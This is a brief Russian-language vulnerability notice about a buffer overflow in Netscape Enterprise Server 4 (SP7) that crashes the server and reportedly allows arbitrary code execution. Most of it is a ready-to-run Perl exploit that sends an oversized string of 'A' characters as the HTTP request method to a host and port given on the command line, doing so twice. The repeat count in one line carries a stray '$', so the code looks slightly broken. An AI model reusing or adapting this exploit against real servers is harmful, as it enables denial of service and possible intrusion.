На этот раз баг обнаружен
в Netscape Enterprise Server – версии 4 с SP7 (возможно и с
остальными сервис паками сервер уязвим).
При неправильном запросе сервер рушится,
при этом на нем можно выполнить
произвольный код. Эксплоит минимален:

#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2) {
print "Usage: host port\n";
exit;
}
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
########################
sub connect() {
$sock= IO::Socket::INET->new(Proto=>"TCP",
PeerAddr=>$ARGV[0],
PeerPort=>"$ARGV[1]",)
or die "Cant connect to $ARGV[0]: $!\n";
$sock->autoflush(1);
print $sock "$overflow /index.html HTTP/1.0\n\n";
$response=<$sock>;
print "$response";
while(<$sock>){
print "$_\n";
}
close $sock;
}



Оставить мнение